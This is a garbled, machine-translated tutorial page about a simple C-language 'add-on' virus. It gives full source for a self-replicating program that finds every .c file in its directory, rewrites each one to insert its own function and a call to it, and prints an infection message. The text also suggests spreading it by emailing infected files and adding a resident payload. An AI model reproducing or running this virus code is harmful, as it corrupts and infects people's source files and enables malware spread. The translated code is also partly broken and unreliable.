C Virus Program Principle analysis (prevent virus C language small virus example) _c language

Source: Internet
Author: User
Tags goto

Characteristics of the virus:

The biggest feature of the virus is self-replicating, from the classification of viruses there are many kinds, here we will introduce the most popular add-on
Virus, which is adapted to the normal file to achieve its own replication purposes.
From a procedural point of view, we have two things to do:

1, so that the program can be copied to other programs without affecting the work of other programs themselves,
So that it has the ability to continue copying.

2, under certain conditions to make it produce some kind of attack effect.
In fact, the first thing can actually be seen as a copy of the file, the source of the virus to all the functions of the file to be infected
File at the end and call this function in the infected file at the same time

The following is the implementation process of the C language:
1, the main program calls the virus function function
2, the function of the virus read to find all C files under the same directory;
3, find one (infected C file), open it, and read all the files to the array variable;
4, recreate a file with the same name (infected C file)
5, the array variable writes back this infected C file, while the virus source file requires the header file, the virus function function
Call statement write;
6, open the virus source file, the function of the virus will be all written to the end of the infected C file;

Such a simple C-language pseudo virus VIRUS.C is complete.
After running the program, its content changes are saved as AFTER_VIRUS.C
At this point, if we copy the 1.c file to another machine or email it to someone else with a disk, the result
They run and infect them. Save all C files in 1.c file directory
For the second thing-------"attack effect", here only a printf statement warning, of course, you
Can write a TSR resident function completely
In fact, this program can be called a virus
It's not really a virus at all, so just say so much,

Copy Code code as follows:

The code is as follows:
#include <stdio.h>
#include <dir.h>
void Main (void)
{
Virus ();
}
int virus ()
{
struct FFBLK ffblk;
FILE *in,*out,*read;
Char *virus= "VIRUS.C";
Char buf[50][80];
Char *p;
Char *end= "return";
Char *bracket= "}";
Char *main= "main";
Char *include[2]={"stdio.h", "Dir.h"};
char *int_virus= "int virus ()";
Char *buffer;
int done,i,j=0,flag=0;
printf ("\ni have a virus." Writen by pubin\n ");
Done = FindFirst ("*.c", &ffblk,0);
while (!done)
{
i=0;
if (in = fopen (Ffblk.ff_name, "rt") = = NULL)
{
Goto Next;
}
do{
if (i>=50)
{
Fclose (in);
Goto Next;
}
P=fgets (Buf[i],80,in);
i++;
}while (P!=null);
Fclose (in);
Out=fopen (Ffblk.ff_name, "w+t");
Fputs ("#include <stdio.h>\n", out);
Fputs ("#include <dir.h>\n", out);
Todo
{
if (Strstr (buf[j],main)!=null)
{
for (; j<i-1;j++)
if (Strstr (buf[j],end) ==null&&strstr (buf[j],bracket) ==null)
Fputs (buf[j],out);
Else
{
if (flag==0)
{
flag=1;
Fputs ("virus (); \ n", out);
}
Fputs (buf[j],out);
}
}
else if ((Strstr (buf[j],include[0)) ==null)
&& (Strstr (buf[j],include[1]) ==null)
{
Fputs (buf[j],out);
j + +;
}
Else
j + +;
}while (j<i-1);
Read=fopen (virus, "RT");
Todo
{
P=fgets (Buffer,80,read);
if (Strstr (Buffer,int_virus))
while (P!=null)
{
if (Strstr (Buffer,virus) ==null)
Fputs (buffer,out);
Else
{
Fputs ("Char *virus=\" ", Out");
Fputs (ffblk.ff_name,out);
Fputs ("\"; \ n ", out);
}
P=fgets (Buffer,80,read);
}
}while (P!=null);
Fclose (read);
Fclose (out);
printf ("\nyour C program%s has a virus. Writen by pubin\n ", ffblk.ff_name);
Next:done = FindNext (&AMP;FFBLK);
}
return 0;
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.